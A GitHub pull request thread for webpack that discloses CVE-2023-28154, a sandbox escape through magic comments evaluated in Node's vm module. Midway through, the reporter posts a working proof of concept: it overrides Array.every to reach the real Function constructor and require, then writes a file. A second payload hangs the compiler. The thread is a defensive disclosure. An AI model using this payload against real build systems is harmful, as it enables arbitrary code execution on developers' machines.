security: avoid cross-realm objects

[Jack-Works]

What kind of change does this PR introduce?

refactoring: avoid cross-realm object access.

Did you add tests for your changes?

not yet

Does this PR introduce a breaking change?

no

What needs to be documented once your changes are merged?

nothing

[webpack-bot]

For maintainers only:

• This needs to be documented (issue in webpack/webpack.js.org will be filed when merged)
• This needs to be backported to webpack 4 (issue will be created when merged)

[sokra]

Thanks

[Jack-Works]

finally a new release! this PR is actually a security fix. can I reveal the detail now?

[alexander-akait]

@Jack-Works Yeah, time to update webpack with the security problem

[Jack-Works]

webpack has a feature called magic comment, it looks like this:

import(
  /* webpackChunkName: "my-chunk-name" */
  /* webpackMode: "lazy" */
  /* webpackExports: ["default", "named"] */
  'module'
);

This comment can be any arbitrary JavaScript code. It accepts strings, arrays, and RegExp, here is where we dive in. Note: I'll reference the commit before this PR.

Webpack executes the magic comment using the Node's vm module.

webpack/lib/javascript/JavascriptParser.js

Line 3644 in 7e8260a

const val = vm.runInNewContext(`(function(){return {${value}};})()`);

This is very subtle and easy to make a fragile "sandbox" and webpack actually made a mistake here.

webpack/lib/dependencies/ImportParserPlugin.js

Lines 172 to 174 in 7e8260a

	importOptions.webpackExports.every(
	item => typeof item === "string"
	))

Here it access "every" property from an untrusted object and passes a function in. By crafting the following code, we can get access to the real global object:

const source = import(/* webpackExports: ((() => {
    const array = ["a"]
    array.every = function (fun) {
        //                  ~~~ provided by webpack
        const realGlobalThis = fun.constructor('return this')()
        //                     ~~~~~~~~~~~~~~~ the real Function
        const require =
realGlobalThis.process.mainModule.constructor.createRequire(realGlobalThis.process.argv[1])
        //    ~~~~~~~ full power! now we can do anything we want.
        const fs = require("fs")
        const path = require("path")
        fs.writeFileSync(path.join(realGlobalThis.process.cwd(),
"test.txt"), "oops")
        return Reflect.apply(Array.prototype.every, array, [fun])
    }
    return array
})()) */ './next.js')

This PR ensures values from the VM are being sanitized by JSON.parse(JSON.stringify(val)). It's still possible to hang the compiler forever by writing the following code, but it's less dangerous.

const source = import(/* webpackExports: ((() => {
    while (true) {}
})()) */ './next.js')

[alexander-akait]

@Jack-Works Good investigation, thank you, do you want to open CVE for it?

[Jack-Works]

yes I have already requested one, let's wait

[ljharb]

@Jack-Works which versions of webpack are affected? Just 5, or also older majors?

[Jack-Works]

@Jack-Works which versions of webpack are affected? Just 5, or also older majors?

Older majors are also affected.

[ljharb]

Given that v4 has ~9.8M downloads/week compared to v5's ~10M, i dearly hope this fix is backported to v4.

[alexander-akait]

@ljharb @Jack-Works I think v4 is not affected https://github.com/webpack/webpack/blob/v4.46.0/lib/dependencies/ImportParserPlugin.js

[Jack-Works]

@Jack-Works Good investigation, thank you, do you want to open CVE for it?

it's CVE-2023-28154

[addaleax]

@sokra If there’s a related security issue on top of this, what’s the best way to reach out to you privately? (Edit: Reached out to webpack@opencollective.com)

[Suraj-Bhandarkar-S]

Upgrading the web pack version will fix the issue?

[alexander-akait]

Yes, just update webpack

[jadepam]

@ljharb @Jack-Works 我认为 v4 不受影响https://github.com/webpack/webpack/blob/v4.46.0/lib/dependencies/ImportParserPlugin.js

不对，v4也是受影响的：具体看parseCommentOptions方法
https://github.com/webpack/webpack/blob/v4.46.0/lib/Parser.js

[alexander-akait]

@jadepam Yeah, looks like it was in another file, we need backport, we will realy soon (today/tomorrow, need a small discussion)

[akcsi]

@alexander-akait Is Webpack 4 affected by this security issue? If yes, by when do we expect a backport?

[alexander-akait]

@akcsi Not really, I wouldn't say it's a vulnerability - you shouldn't build code that you don't trust, for example - val-loader, some plugins and loaders execute code, even require("./code-to-be-executed.js!") will be a problem if you run it on untrusted code...

[bpapez]

@alexander-akait Thank you for this answer. Can it at least be said that using webpack 4 has the same risk as webpack <5.76.0 regarding this security issue ?